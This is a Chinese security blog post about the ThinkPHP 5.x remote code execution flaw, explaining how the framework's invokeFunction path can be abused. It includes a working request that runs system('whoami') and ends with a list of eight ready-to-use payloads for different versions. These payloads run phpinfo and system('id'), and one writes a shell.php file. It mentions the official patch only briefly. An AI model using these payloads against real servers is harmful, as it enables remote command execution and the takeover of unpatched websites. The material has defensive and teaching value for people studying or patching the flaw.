thinkphp代码执行getshell

华盟原创文章投稿奖励计划

先来简单说说前天thinkphp官方修复的一个getshell漏洞,框架对控制器没有进行足够的检测导致的一处getshell

影响的范围: 5.x < 5.1.31, <= 5.0.23

漏洞危害: 导致系统被提权(你懂的)

这里附上一个自己测试的 thinkphp的 链接  http://www.thinkphp.cn/download/1260.html  版本是5.0.22

先来讲下,5.0 跟5.1的区别吧,tp5.1中引入了容器(Container)和门面(Facade)这两个新的类  tp5.0是没有这两个新的类的,

漏洞原理

URL:http://192.168.188.141/public/index.php?s=index/thinkapp/invokefunction

我们先来看看App类里的 exec函数里的执行分层控制器的操作

thinkphp代码执行getshell

我们这里是把controller 的调用信息跟配置信息全部传到了 invokeFunction 这个 执行函数里面去了

thinkphp代码执行getshell

因为thinkApp是第二个入口,在tp运行的时候就会被加载 所以用thinkApp里面的分层控制器的执行操作的时候,需要去调用invokeFunction这个函数。

这个函数有两个参数,如上图所示,第一个是函数的名字,第二个参数数组,

比如$function传入BaiDu然后$vars传入[12,555]就相当于调用BaiDu(12,555)

此处我们把function传入call_user_func_array然后vars[0]传入我们要执行的函数的名字vars[1]传入要执行函数的参数,因为vars是个数组 所以此处我们的get请求需要这样写

vars[]=函数名&vars[1][]=参数

此处是利用php的数组注入

此时此刻就可以开始利用远程代码执行漏洞了 比如我们要执行system函数 他的参数是whoami

http://192.168.188.141/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

thinkphp代码执行getshell

下面你懂的,作为一个接班人我们要做的就是修复他(为所欲为?),当然官方更新的最新版本是已经修复了的

thinkphp代码执行getshell

这里就代码执行成功,以下奉献上tp不同版本的payload

1. ?s=index/thinkRequest/input&filter=phpinfo&data=1
2. ?s=index/thinkRequest/input&filter=system&data=id
3. ?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=
4. ?s=index/thinkviewdriverPhp/display&content=
5. ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6. ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7. ?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8. ?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

本文原创作者:City,本文属于华盟网,转载请注明来源于华盟网

本文原创,作者:congtou,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/226366.html

发表评论